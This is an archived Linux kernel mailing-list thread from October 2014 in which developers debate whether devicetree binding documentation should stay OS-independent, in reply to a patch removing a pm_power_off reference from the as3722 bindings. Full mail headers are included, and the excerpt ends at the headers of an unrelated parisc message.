X-CTCH-PVer: 0000001
X-CTCH-Spam: Unknown
X-CTCH-VOD: Unknown
X-CTCH-Flags: 0
X-CTCH-RefID: str=0001.0A02020A.5434156D.003C,ss=1,re=0.000,recu=0.000,reip=0.000,cl=1,cld=1,fgs=0
X-CTCH-Score: 0.000
X-CTCH-ScoreCust: 0.000
X-CTCH-Rules: 
X-CTCH-SenderID: linux@roeck-us.net
X-CTCH-SenderID-Flags: 0
X-CTCH-SenderID-TotalMessages: 34
X-CTCH-SenderID-TotalSpam: 0
X-CTCH-SenderID-TotalSuspected: 0
X-CTCH-SenderID-TotalConfirmed: 0
X-CTCH-SenderID-TotalBulk: 32
X-CTCH-SenderID-TotalVirus: 0
X-CTCH-SenderID-TotalRecipients: 0
X-AntiAbuse: This header was added to track abuse, please include it with any abuse report
X-AntiAbuse: Primary Hostname - bh-25.webhostbox.net
X-AntiAbuse: Original Domain - vger.kernel.org
X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12]
X-AntiAbuse: Sender Address Domain - roeck-us.net
X-Get-Message-Sender-Via: bh-25.webhostbox.net: mailgid no entry from get_relayhosts_entry
X-Source: 
X-Source-Args: 
X-Source-Dir: 
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1802917 gmane.linux.drivers.devicetree:93199 gmane.linux.kernel.virtualization.lguest:1504 gmane.linux.acpi.devel:71327 gmane.linux.ports.alpha:2489 gmane.linux.kernel.efi:4777 gmane.linux.ports.hexagon:836 gmane.linux.ports.ppc64.devel:105952 gmane.linux.ports.tegra:19520 gmane.linux.kernel.openipmi:2495 gmane.linux.uml.devel:14709 gmane.linux.ports.arm.kernel:362552 gmane.linux.ports.ia64:24525 gmane.linux.kernel.metag:356 gmane.linux.ports.mips.general:44217 gmane.linux.ports.parisc:6131 gmane.linux.power-management.general:50679 gmane.linux.ports.sh.devel:39853
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1802917>

On Tue, Oct 07, 2014 at 11:21:11AM -0500, Rob Landley wrote:
> On 10/07/14 00:28, Guenter Roeck wrote:
> > Devicetree bindings are supposed to be operating system independent
> > and should thus not describe how a specific functionality is implemented
> > in Linux.
> 
> So your argument is that linux/Documentation/devicetree/bindings should
> not be specific to Linux. Merely hosted in the Linux kernel source
> repository.
> 
> Well that's certainly a point of view.
> 
Not specifically my argument, really, and nothing new either. But, yes, I do
think that devicetree bindings descriptions should not include implementation
details, especially since those may change over time (as is the case here).

Thanks,
Guenter

From - Thu Nov 08 21:10:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mark Rutland <mark.rutland-5wv7dgnIgG8@public.gmane.org>
Newsgroups: gmane.linux.ports.tegra,gmane.linux.kernel,gmane.linux.drivers.devicetree,gmane.linux.kernel.virtualization.lguest,gmane.linux.acpi.devel,gmane.linux.ports.alpha,gmane.linux.kernel.efi,gmane.linux.ports.hexagon,gmane.linux.ports.ppc64.devel,gmane.linux.kernel.openipmi,gmane.linux.uml.devel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.m68k,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.power-management.general,gmane.linux.ports.sh.devel
Subject: Re: [PATCH 05/44] mfd: as3722: Drop reference to pm_power_off from
 devicetree bindings
Date: Tue, 7 Oct 2014 17:58:35 +0100
Lines: 29
Approved: news@gmane.org
Message-ID: <20141007165835.GE27216@leverpostej>
References: <1412659726-29957-1-git-send-email-linux@roeck-us.net>
 <1412659726-29957-6-git-send-email-linux@roeck-us.net>
 <543412F7.8040909@landley.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1412701152 17751 80.91.229.3 (7 Oct 2014 16:59:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 7 Oct 2014 16:59:12 +0000 (UTC)
Cc: Guenter Roeck <linux-0h96xk9xTtrk1uMJSBkQmQ@public.gmane.org>,
	"linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org" <linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	"adi-buildroot-devel-5NWGOfrQmneRv+LV9MX5uipxlwaOVQ5f@public.gmane.org" 
	<adi-buildroot-devel-5NWGOfrQmneRv+LV9MX5uipxlwaOVQ5f@public.gmane.org>,
	"devel-gWbeCf7V1WCQmaza687I9mD2FQJk+8+b@public.gmane.org" <devel-gWbeCf7V1WCQmaza687I9mD2FQJk+8+b@public.gmane.org>,
	"devicetree-u79uwXL29TY76Z2rM5mHXA@public.gmane.org" <devicetree-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	"lguest-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org" <lguest-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org>,
	"linux-acpi-u79uwXL29TY76Z2rM5mHXA@public.gmane.org" <linux-acpi-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	"linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org" <linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	"linux-am33-list-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org" <linux-am33-list-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>,
	"linux-cris-kernel-VrBV9hrLPhE@public.gmane.org" <linux-cris-kernel-VrBV9hrLPhE@public.gmane.org>,
	"linux-efi-u79uwXL29TY76Z2rM5mHXA@public.gmane.org" <linux-efi-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	"linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org" <linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	"linux-m32r-ja-rQhvJZKUsGBRYuoOT4C5/9i2O/JbrIOy@public.gmane.org" <linux-m32r-ja-rQhvJZKUsGBRYuoOT4C5/9i2O/JbrIOy@public.gmane.org>,
	"linuxppc-dev-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org" <linuxppc-dev-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org>,
	"linux-s390-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
To: Rob Landley <rob-VoJi6FS/r0vR7s880joybQ@public.gmane.org>
Original-X-From: linux-tegra-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org Tue Oct 07 18:59:02 2014
Return-path: <linux-tegra-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
Envelope-to: glpt-linux-tegra-wOFGN7rlS/M9smdsby/KFg@public.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-tegra-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>)
	id 1XbY6C-00083e-Ve
	for glpt-linux-tegra-wOFGN7rlS/M9smdsby/KFg@public.gmane.org; Tue, 07 Oct 2014 18:58:57 +0200
Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org via listexpand
	id S1754632AbaJGQ6y (ORCPT <rfc822;glpt-linux-tegra@m.gmane.org>);
	Tue, 7 Oct 2014 12:58:54 -0400
Original-Received: from cam-admin0.cambridge.arm.com ([217.140.96.50]:60018 "EHLO
	cam-admin0.cambridge.arm.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1753242AbaJGQ6q (ORCPT
	<rfc822;linux-tegra-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>);
	Tue, 7 Oct 2014 12:58:46 -0400
Original-Received: from leverpostej (leverpostej.cambridge.arm.com [10.1.205.151])
	by cam-admin0.cambridge.arm.com (8.12.6/8.12.6) with ESMTP id s97Gwdwo009466;
	Tue, 7 Oct 2014 17:58:39 +0100 (BST)
Content-Disposition: inline
In-Reply-To: <543412F7.8040909-VoJi6FS/r0vR7s880joybQ@public.gmane.org>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-tegra-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Precedence: bulk
List-ID: <linux-tegra.vger.kernel.org>
X-Mailing-List: linux-tegra-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Xref: news.gmane.org gmane.linux.ports.tegra:19521 gmane.linux.kernel:1802936 gmane.linux.drivers.devicetree:93203 gmane.linux.kernel.virtualization.lguest:1505 gmane.linux.acpi.devel:71328 gmane.linux.ports.alpha:2490 gmane.linux.kernel.efi:4778 gmane.linux.ports.hexagon:837 gmane.linux.ports.ppc64.devel:105953 gmane.linux.kernel.openipmi:2496 gmane.linux.uml.devel:14710 gmane.linux.ports.arm.kernel:362559 gmane.linux.ports.ia64:24526 gmane.linux.ports.m68k:6269 gmane.linux.kernel.metag:357 gmane.linux.ports.mips.general:44218 gmane.linux.ports.parisc:6132 gmane.linux.power-management.general:50681 gmane.linux.ports.sh.devel:39855
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.tegra/19521>

On Tue, Oct 07, 2014 at 05:21:11PM +0100, Rob Landley wrote:
> On 10/07/14 00:28, Guenter Roeck wrote:
> > Devicetree bindings are supposed to be operating system independent
> > and should thus not describe how a specific functionality is implemented
> > in Linux.
> 
> So your argument is that linux/Documentation/devicetree/bindings should
> not be specific to Linux. Merely hosted in the Linux kernel source
> repository.

Precisely. If nothing else as a general guideline this keeps us honest,
and prevents us from embedding arbitrary implementation details into
bidnings that cause pain later when we want to change things at either
end.

There are already otehr users of these bindings, so we can't really
claim they're strictly Linux-specific anyhow.

> Well that's certainly a point of view.

As far as I am aware, it's the point of view shared by the device tree
maintainers, and it's been that way for a while.

I don't really follow your concern. For one thing were this followed
more strictly this file wouldn't need patching at all to correct for
this Linux-internal rework...

Thanks,
Mark.

From - Thu Nov 08 21:10:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Daney <ddaney.cavm@gmail.com>
Newsgroups: gmane.linux.drivers.driver-project.devel,gmane.linux.ports.mips.general,gmane.linux.kernel.efi,gmane.linux.ports.ia64,gmane.linux.kernel.virtualization.lguest,gmane.linux.ports.hexagon,gmane.linux.ports.sh.devel,gmane.linux.acpi.devel,gmane.linux.drivers.devicetree,gmane.linux.uml.devel,gmane.linux.power-management.general,gmane.linux.ports.tegra,gmane.linux.kernel.openipmi,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH 05/44] mfd: as3722: Drop reference to pm_power_off from
 devicetree bindings
Date: Tue, 07 Oct 2014 09:59:29 -0700
Lines: 32
Approved: news@gmane.org
Message-ID: <54341BF1.9020001@gmail.com>
References: <1412659726-29957-1-git-send-email-linux@roeck-us.net>
 <1412659726-29957-6-git-send-email-linux@roeck-us.net>
 <543412F7.8040909@landley.net> <20141007163131.GE28835@roeck-us.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; Format="flowed"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1412701188 18155 80.91.229.3 (7 Oct 2014 16:59:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 7 Oct 2014 16:59:48 +0000 (UTC)
Cc: linux-m32r-ja@ml.linux-m32r.org, linux-mips@linux-mips.org,
 linux-efi@vger.kernel.org, linux-ia64@vger.kernel.org,
 linux-xtensa@linux-xtensa.org, Mark Rutland <mark.rutland@arm.com>,
 devel@driverdev.osuosl.org, linux-s390@vger.kernel.org,
 lguest@lists.ozlabs.org, linux-c6x-dev@linux-c6x.org,
 linux-hexagon@vger.kernel.org, linux-sh@vger.kernel.org,
 linux-acpi@vger.kernel.org, Pawel Moll <pawel.moll@arm.com>,
 xen-devel@lists.xenproject.org, devicetree@vger.kernel.org,
 user-mode-linux-devel@lists.sourceforge.net, linux-pm@vger.kernel.org,
 adi-buildroot-devel@lists.sourceforge.net, linux-m68k@lists.linux-m68k.org,
 linux-am33-list@redhat.com, linux-tegra@vger.kernel.org,
 openipmi-developer@lists.sourceforge.net, linux-metag@vger.kernel.org,
 linux-arm-kernel@lists.infradead.org, linux-parisc@vger.kernel.org,
 linux-cris-kernel@axis.com, linux-kernel@vger.kernel.org,
 Rob Herrin
To: Guenter Roeck <linux@roeck-us.net>, Rob Landley <rob@landley.net>
Original-X-From: driverdev-devel-bounces@linuxdriverproject.org Tue Oct 07 18:59:38 2014
Return-path: <driverdev-devel-bounces@linuxdriverproject.org>
Envelope-to: glddd-devel@m.gmane.org
Original-Received: from hemlock.osuosl.org ([140.211.166.133])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <driverdev-devel-bounces@linuxdriverproject.org>)
	id 1XbY6r-0000Jd-7j
	for glddd-devel@m.gmane.org; Tue, 07 Oct 2014 18:59:37 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by hemlock.osuosl.org (Postfix) with ESMTP id 6A92C958DD;
	Tue,  7 Oct 2014 16:59:36 +0000 (UTC)
X-Virus-Scanned: amavisd-new at osuosl.org
Original-Received: from hemlock.osuosl.org ([127.0.0.1])
	by localhost (.osuosl.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 2NVMciCFE3Sc; Tue,  7 Oct 2014 16:59:34 +0000 (UTC)
Original-Received: from ash.osuosl.org (ash.osuosl.org [140.211.166.34])
	by hemlock.osuosl.org (Postfix) with ESMTP id B1304958FE;
	Tue,  7 Oct 2014 16:59:34 +0000 (UTC)
X-Original-To: devel@linuxdriverproject.org
Delivered-To: driverdev-devel@osuosl.org
Original-Received: from hemlock.osuosl.org (hemlock.osuosl.org [140.211.166.133])
 by ash.osuosl.org (Postfix) with ESMTP id 885EA1BFA17
 for <devel@linuxdriverproject.org>; Tue,  7 Oct 2014 16:59:33 +0000 (UTC)
Original-Received: from localhost (localhost [127.0.0.1])
 by hemlock.osuosl.org (Postfix) with ESMTP id 8397F958FE
 for <devel@linuxdriverproject.org>; Tue,  7 Oct 2014 16:59:33 +0000 (UTC)
X-Virus-Scanned: amavisd-new at osuosl.org
Original-Received: from hemlock.osuosl.org ([127.0.0.1])
 by localhost (.osuosl.org [127.0.0.1]) (amavisd-new, port 10024)
 with ESMTP id SLZPdIDDHequ for <devel@linuxdriverproject.org>;
 Tue,  7 Oct 2014 16:59:33 +0000 (UTC)
X-Greylist: domain auto-whitelisted by SQLgrey-1.7.6
Original-Received: from mail-ie0-f174.google.com (mail-ie0-f174.google.com
 [209.85.223.174])
 by hemlock.osuosl.org (Postfix) with ESMTPS id 0D7FC958DD
 for <devel@driverdev.osuosl.org>; Tue,  7 Oct 2014 16:59:32 +0000 (UTC)
Original-Received: by mail-ie0-f174.google.com with SMTP id tr6so5745471ieb.33
 for <devel@driverdev.osuosl.org>; Tue, 07 Oct 2014 09:59:32 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113;
 h=message-id:date:from:user-agent:mime-version:to:cc:subject
 :references:in-reply-to:content-type:content-transfer-encoding;
 bh=IQmBW/ecm0PlBOnNT1tmvTyGhPpEN+BG3k+K+8XnQAY=;
 b=pWBorCMq1eXduZiVcf3gaU7QHS/EPu8ZXHWt+PfF9KdK7ozE3k2wh89+u0Q8g8ikqp
 EQn+BXYNgkI3hRDGELWv+3nLHjQRlfe5O9Vb7vY1STmktBCVFAP+OFAKX0iRnva2EMus
 JfhaO00M36epbU0e4sCCgGOfCQw2xnM2O2jpfXFxCVdmqPycGvCCW9FgM1HTuS7sr9cB
 O64d7T/vj6muGVnt2VytRs6qAo+IFyfJul4+FqDxnqY7hEVUfD3Nhf4AypscddyjZTBL
 u64KIGIicQavYjyK29H/pF4hUkOr006m6zf0ypKh6fXqLkjVnW/y42h5kYgh3AJ3wOtG
 Ld4Q==
X-Received: by 10.50.25.65 with SMTP id a1mr33614579igg.3.1412701172477;
 Tue, 07 Oct 2014 09:59:32 -0700 (PDT)
Original-Received: from dl.caveonetworks.com (64.2.3.195.ptr.us.xo.net. [64.2.3.195])
 by mx.google.com with ESMTPSA id z5sm12441449igl.21.2014.10.07.09.59.29
 for <multiple recipients>
 (version=TLSv1 cipher=RC4-SHA bits=128/128);
 Tue, 07 Oct 2014 09:59:31 -0700 (PDT)
User-Agent: Mozilla/5.0 (X11; Linux x86_64;
 rv:17.0) Gecko/20130625 Thunderbird/17.0.7
In-Reply-To: <20141007163131.GE28835@roeck-us.net>
X-BeenThere: driverdev-devel@linuxdriverproject.org
X-Mailman-Version: 2.1.18-1
Precedence: list
List-Id: Linux Driver Project Developer List
 <driverdev-devel.linuxdriverproject.org>
List-Unsubscribe: <http://driverdev.linuxdriverproject.org/mailman/options/driverdev-devel>, 
 <mailto:driverdev-devel-request@linuxdriverproject.org?subject=unsubscribe>
List-Archive: <http://driverdev.linuxdriverproject.org/pipermail/driverdev-devel/>
List-Post: <mailto:driverdev-devel@linuxdriverproject.org>
List-Help: <mailto:driverdev-devel-request@linuxdriverproject.org?subject=help>
List-Subscribe: <http://driverdev.linuxdriverproject.org/mailman/listinfo/driverdev-devel>, 
 <mailto:driverdev-devel-request@linuxdriverproject.org?subject=subscribe>
Errors-To: driverdev-devel-bounces@linuxdriverproject.org
Original-Sender: "devel" <driverdev-devel-bounces@linuxdriverproject.org>
Xref: news.gmane.org gmane.linux.drivers.driver-project.devel:58589 gmane.linux.ports.mips.general:44219 gmane.linux.kernel.efi:4779 gmane.linux.ports.ia64:24527 gmane.linux.kernel.virtualization.lguest:1506 gmane.linux.ports.hexagon:838 gmane.linux.ports.sh.devel:39856 gmane.linux.acpi.devel:71329 gmane.linux.drivers.devicetree:93204 gmane.linux.uml.devel:14711 gmane.linux.power-management.general:50682 gmane.linux.ports.tegra:19522 gmane.linux.kernel.openipmi:2497 gmane.linux.kernel.metag:358 gmane.linux.ports.arm.kernel:362560 gmane.linux.ports.parisc:6133 gmane.linux.kernel:1802939 gmane.linux.ports.alpha:2491 gmane.linux.ports.ppc64.devel:105954
Archived-At: <http://permalink.gmane.org/gmane.linux.drivers.driver-project.devel/58589>

On 10/07/2014 09:31 AM, Guenter Roeck wrote:
> On Tue, Oct 07, 2014 at 11:21:11AM -0500, Rob Landley wrote:
>> On 10/07/14 00:28, Guenter Roeck wrote:
>>> Devicetree bindings are supposed to be operating system independent
>>> and should thus not describe how a specific functionality is implemented
>>> in Linux.
>>
>> So your argument is that linux/Documentation/devicetree/bindings should
>> not be specific to Linux. Merely hosted in the Linux kernel source
>> repository.
>>
>> Well that's certainly a point of view.
>>
> Not specifically my argument, really, and nothing new either. But, yes, I do
> think that devicetree bindings descriptions should not include implementation
> details, especially since those may change over time (as is the case here).
>

I fully agree.

Many device trees come from outside the kernel (i.e. they are supplied 
by the system boot environment).  Obviously these device trees cannot be 
changed at the whim of kernel developers, *and* it is perfectly 
reasonable to think that software other than the Linux kernel will run 
on this type of system too.

So yes, it is really true, device trees are not a Linux kernel private 
implementation detail, they are really an external ABI that, although 
documented in the kernel source tree, cannot be changed in incompatible 
ways as time progresses.

David Daney

From - Thu Nov 08 21:10:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rob Landley <rob-VoJi6FS/r0vR7s880joybQ@public.gmane.org>
Newsgroups: gmane.linux.kernel.metag,gmane.linux.kernel,gmane.linux.drivers.devicetree,gmane.linux.kernel.virtualization.lguest,gmane.linux.acpi.devel,gmane.linux.ports.alpha,gmane.linux.kernel.efi,gmane.linux.ports.hexagon,gmane.linux.ports.ppc64.devel,gmane.linux.ports.tegra,gmane.linux.kernel.openipmi,gmane.linux.uml.devel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.power-management.general,gmane.linux.ports.sh.devel
Subject: Re: [PATCH 05/44] mfd: as3722: Drop reference to pm_power_off from
 devicetree bindings
Date: Tue, 07 Oct 2014 12:10:58 -0500
Lines: 48
Approved: news@gmane.org
Message-ID: <54341EA2.6010806@landley.net>
References: <1412659726-29957-1-git-send-email-linux@roeck-us.net> <1412659726-29957-6-git-send-email-linux@roeck-us.net> <543412F7.8040909@landley.net> <20141007163131.GE28835@roeck-us.net> <54341BF1.9020001@gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1412701880 27650 80.91.229.3 (7 Oct 2014 17:11:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 7 Oct 2014 17:11:20 +0000 (UTC)
Cc: linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	adi-buildroot-devel-5NWGOfrQmneRv+LV9MX5uipxlwaOVQ5f@public.gmane.org,
	devel-gWbeCf7V1WCQmaza687I9mD2FQJk+8+b@public.gmane.org, devicetree-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	lguest-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org, linux-acpi-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-am33-list-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org,
	linux-cris-kernel-VrBV9hrLPhE@public.gmane.org, linux-efi-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-m32r-ja-rQhvJZKUsGBRYuoOT4C5/9i2O/JbrIOy@public.gmane.org,
	linuxppc-dev-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org, linux-s390-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-tegra-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-xtensa-PjhNF2WwrV/0Sa2dR60CXw@public.gmane.org,
	openipmi-developer-5NWGOfrQmneRv+LV9MX5uipxlwaOVQ5f@public.gmane.org,
	user-mode-linux-devel-5NWGOfrQmneRv+LV9MX5uipxlwaOVQ5f@public.gmane.org,
	linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org, linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org,
	linux-ia64-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org,
	linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-mips-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org,
	linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-pm-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, xen-devel-GuqFBffKawtpuQazS67q72D2FQJk+8+b@public.gmane.org,
	Rob Herring <robh+
To: David Daney <ddaney.cavm-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>,
	Guenter Roeck <linux-0h96xk9xTtrk1uMJSBkQmQ@public.gmane.org>
Original-X-From: linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org Tue Oct 07 19:11:10 2014
Return-path: <linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
Envelope-to: glkm-linux-metag-wOFGN7rlS/M9smdsby/KFg@public.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>)
	id 1XbYI1-0008W5-HN
	for glkm-linux-metag-wOFGN7rlS/M9smdsby/KFg@public.gmane.org; Tue, 07 Oct 2014 19:11:09 +0200
Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org via listexpand
	id S1754650AbaJGRLI (ORCPT <rfc822;glkm-linux-metag@m.gmane.org>);
	Tue, 7 Oct 2014 13:11:08 -0400
Original-Received: from mail-oi0-f50.google.com ([209.85.218.50]:33160 "EHLO
	mail-oi0-f50.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754475AbaJGRLH (ORCPT
	<rfc822;linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>); Tue, 7 Oct 2014 13:11:07 -0400
Original-Received: by mail-oi0-f50.google.com with SMTP id i138so5436847oig.37
        for <linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>; Tue, 07 Oct 2014 10:11:05 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:message-id:date:from:user-agent:mime-version:to
         :cc:subject:references:in-reply-to:content-type
         :content-transfer-encoding;
        bh=Iigiq301J2psOJVWZqvLgIlZ2/eTazdaT0E7BWmj/ps=;
        b=hzsO8S4M7vjfccM01STm9dN+rett4yZgXCNru44wN5FiK8ZhC18ZWVsptfXxl0tOQR
         d1liESWuf1kTmSnwceF5+sS2sMTUjydvyaXu0x/A5ST4saEna7CB/V5DLQapmm6wiavL
         9sRe6qZJ8EmDkriBzLRWla5myPPwU8Ur8mkkSOCejbQpLoLTr9gaF6+fRwt5U+8w3kIa
         BcecBkT+B+U1XgOQtkStffISnj3OCm7Irk6tYguDYBIdrzKkXDtixpkiD/wcdwZsF59c
         /7lmcz6tb3cTvGTbAKzkJXAkv5YlTUiFkrfZPYcbdk6Rc+DGpHFE2fn2SoCmx1qIaAR5
         NQsA==
X-Gm-Message-State: ALoCoQlz0XcenP4NAjkcrl9NOfcj1BuiOVIvhe/nI/+W60rO5akst1vmpfUc4BWJDAXMQQpoh7WR
X-Received: by 10.60.63.8 with SMTP id c8mr5824681oes.26.1412701865549;
        Tue, 07 Oct 2014 10:11:05 -0700 (PDT)
Original-Received: from [192.168.1.12] (cpe-72-182-51-248.austin.res.rr.com. [72.182.51.248])
        by mx.google.com with ESMTPSA id f8sm12275199oev.4.2014.10.07.10.10.58
        for <multiple recipients>
        (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128);
        Tue, 07 Oct 2014 10:11:04 -0700 (PDT)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.2.0
In-Reply-To: <54341BF1.9020001-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>
Original-Sender: linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Precedence: bulk
List-ID: <linux-metag.vger.kernel.org>
X-Mailing-List: linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.metag:359 gmane.linux.kernel:1802952 gmane.linux.drivers.devicetree:93207 gmane.linux.kernel.virtualization.lguest:1507 gmane.linux.acpi.devel:71330 gmane.linux.ports.alpha:2492 gmane.linux.kernel.efi:4780 gmane.linux.ports.hexagon:839 gmane.linux.ports.ppc64.devel:105956 gmane.linux.ports.tegra:19523 gmane.linux.kernel.openipmi:2498 gmane.linux.uml.devel:14712 gmane.linux.ports.arm.kernel:362563 gmane.linux.ports.ia64:24528 gmane.linux.ports.mips.general:44220 gmane.linux.ports.parisc:6134 gmane.linux.power-management.general:50684 gmane.linux.ports.sh.devel:39857
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.metag/359>

On 10/07/14 11:59, David Daney wrote:
> On 10/07/2014 09:31 AM, Guenter Roeck wrote:
>> On Tue, Oct 07, 2014 at 11:21:11AM -0500, Rob Landley wrote:
>>> On 10/07/14 00:28, Guenter Roeck wrote:
>>>> Devicetree bindings are supposed to be operating system independent
>>>> and should thus not describe how a specific functionality is
>>>> implemented
>>>> in Linux.
>>>
>>> So your argument is that linux/Documentation/devicetree/bindings should
>>> not be specific to Linux. Merely hosted in the Linux kernel source
>>> repository.
>>>
>>> Well that's certainly a point of view.
>>>
>> Not specifically my argument, really, and nothing new either. But,
>> yes, I do
>> think that devicetree bindings descriptions should not include
>> implementation
>> details, especially since those may change over time (as is the case
>> here).
>>
> 
> I fully agree.
> 
> Many device trees come from outside the kernel (i.e. they are supplied
> by the system boot environment).  Obviously these device trees cannot be
> changed at the whim of kernel developers, *and* it is perfectly
> reasonable to think that software other than the Linux kernel will run
> on this type of system too.
> 
> So yes, it is really true, device trees are not a Linux kernel private
> implementation detail, they are really an external ABI that, although
> documented in the kernel source tree, cannot be changed in incompatible
> ways as time progresses.

Ah. Existing thing with backstory among the in-crowd, so I'll assume
"git subtree" was previously suggested and you had that discussion
already and decided against it.

Carry on,

Rob
--
To unsubscribe from this list: send the line "unsubscribe linux-metag" in
the body of a message to majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: systemd on hppa and number of free RT signals
Date: Tue, 07 Oct 2014 21:39:59 +0200
Lines: 757
Approved: news@gmane.org
